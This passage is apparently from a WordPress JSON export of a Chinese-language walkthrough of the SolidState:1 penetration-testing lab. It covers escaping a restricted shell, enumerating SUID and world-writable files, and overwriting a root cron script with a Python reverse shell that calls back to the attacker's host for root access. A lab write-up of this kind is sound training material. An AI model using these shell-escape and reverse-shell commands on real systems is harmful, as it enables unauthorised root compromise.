src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317191257407\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u67e5\u770b\u57fa\u7840\u4fe1\u606f<\/h3>\n<p>\u662f\u4e00\u4e2a<code>rbash<\/code>\uff0c\u53ea\u80fd\u67e5\u4e9b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-text\">mindy@solidstate:~$ ls -la\ntotal 28\ndrwxr-x--- 4 mindy mindy 4096 Aug 22  2017 .\ndrwxr-xr-x 4 root  root  4096 Aug 22  2017 ..\n-rw-r--r-- 1 root  root     0 Aug 22  2017 .bash_history\n-rw-r--r-- 1 root  root     0 Aug 22  2017 .bash_logout\n-rw-r--r-- 1 root  root   338 Aug 22  2017 .bash_profile\n-rw-r--r-- 1 root  root  1001 Aug 22  2017 .bashrc\ndrwxr-x--- 2 mindy mindy 4096 Aug 22  2017 bin\n-rw------- 1 root  root     0 Aug 22  2017 .rhosts\n-rw------- 1 root  root     0 Aug 22  2017 .shosts\ndrw------- 2 root  root  4096 Aug 22  2017 .ssh\n-rw------- 1 mindy mindy   34 Aug 22  2017 user.txt\nmindy@solidstate:~$ cat user.txt\n914d0a4ebc1777889b5b89a23f556fd75<\/code><\/pre>\n<p>\u83b7\u53d6\u5230\u4e86flag\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944569.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944569.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317191735435\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u597d\u9ebb\u70e6\u5f88\u591a\u547d\u4ee4\u8fd0\u884c\u4e0d\u4e86\u5c1d\u8bd5\u9003\u9038\uff01<\/p>\n<h3>rbash\u9003\u9038<\/h3>\n<h4>\u6307\u5b9a\u767b\u5f55\u4f7f\u7528bash<\/h4>\n<pre><code class=\"language-bash\">ssh mindy@192.168.37.131 -t bash<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944570.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944570.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317192214636\" \/><\/div><\/p>\n<h4>\u4e5f\u53ef\u4ee5\u6dfb\u52a0\u73af\u5883\u53d8\u91cf<\/h4>\n<pre><code class=\"language-bash\">ssh mindy@192.168.37.131 &quot;export TERM=xterm; python -c &#039;import pty; pty.spawn(\\&quot;\/bin\/sh\\&quot;)&#039;&quot;<\/code><\/pre>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">$ uname -a \n# uname -a\n# Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 GNU\/Linux\n$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n# find \/ -perm -u=s -type f 2&gt;\/dev\/null\n# \/bin\/su\n# \/bin\/mount\n# \/bin\/fusermount\n# \/bin\/ping\n# \/bin\/ntfs-3g\n# \/bin\/umount\n# \/usr\/bin\/newgrp\n# \/usr\/bin\/pkexec\n# \/usr\/bin\/passwd\n# \/usr\/bin\/chsh\n# \/usr\/bin\/chfn\n# \/usr\/bin\/gpasswd\n# \/usr\/sbin\/pppd\n# \/usr\/lib\/policykit-1\/polkit-agent-helper-1\n# \/usr\/lib\/openssh\/ssh-keysign\n# \/usr\/lib\/eject\/dmcrypt-get-device\n# \/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n# \/usr\/lib\/xorg\/Xorg.wrap\n# \/usr\/lib\/spice-gtk\/spice-client-glib-usb-acl-helper\n$ find \/ -type f -user root -perm -o=w 2&gt;\/dev\/null     # \u5bfb\u627euser\u53ef\u6267\u884c\u7684root\u6743\u9650\u6587\u4ef6\n# find \/ -type f -user root -perm -o=w 2&gt;\/dev\/null\n# \/opt\/tmp.py\n# ........<\/code><\/pre>\n<p>\u7b2c\u4e00\u4e2a\u5c31\u662f<code>python<\/code>\u6587\u4ef6\uff0c\u770b\u4e00\u4e0b\uff0c\u5269\u4e0b\u592a\u591a\u4e86\uff0c\u90fd\u662f\u914d\u7f6e\u6587\u4ef6\uff0c\u5148\u770b<code>python<\/code>\u6587\u4ef6\uff01\u8fd8\u6709\u4e00\u4e2a<code>\/sys\/fs\/cgroup\/memory\/cgroup.event_control<\/code>\uff0c\u4e00\u4e2a\u4e00\u4e2a\u6765\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/usr\/bin\/env python\nimport os\nimport sys\ntry:\n     os.system(&#039;rm -r \/tmp\/* &#039;)\nexcept:\n     sys.exit()<\/code><\/pre>\n<p>\u8fd9\u4e2a\u811a\u672c\u5b9a\u671f\u5220\u9664\u4e34\u65f6\u76ee\u5f55\u3002<\/p>\n<p>\u67e5\u770b\u4e00\u4e0b\u6743\u9650:<\/p>\n<pre><code class=\"language-bash\">$ ls -l tmp.py\nls -l tmp.py\n-rwxrwxrwx 1 root root 216 Mar 17 07:41 tmp.py<\/code><\/pre>\n<p>\u7136\u540e\u7f16\u5199\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">echo &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.37.128&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;\/bin\/bash&quot;)&#039; &gt; \/opt\/tmp.py<\/code><\/pre>\n<p>kali\u8bbe\u7f6e\u4e00\u4e2a\u76d1\u542c\uff0c\u5927\u6982\u4e00\u4e24\u5206\u949f\u5c31\u4f1a\u5f39\u4e00\u4e2a<code>root shell<\/code>\u8fc7\u6765\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944571.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317194320272\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u62ff\u4e0b\u8fd9\u4e2a\u9776\u673a\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SOLIDSTATE: 1 \u626b\u4e00\u4e0b\uff0c\u7b49\u4e00\u4e0b\uff1a \u7eb3\u5c3c\uff0c\u8fd8\u662f\u626b\u4e00\u4e0b\u5427\uff1a \u5f00\u59cb\u516c\u9e21\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u91cd\u542f\u4e86\u4e00\u4e0b [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-409","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/409","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=409"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/409\/revisions"}],"predecessor-version":[{"id":410,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/409\/revisions\/410"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=409"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=409"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=409"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}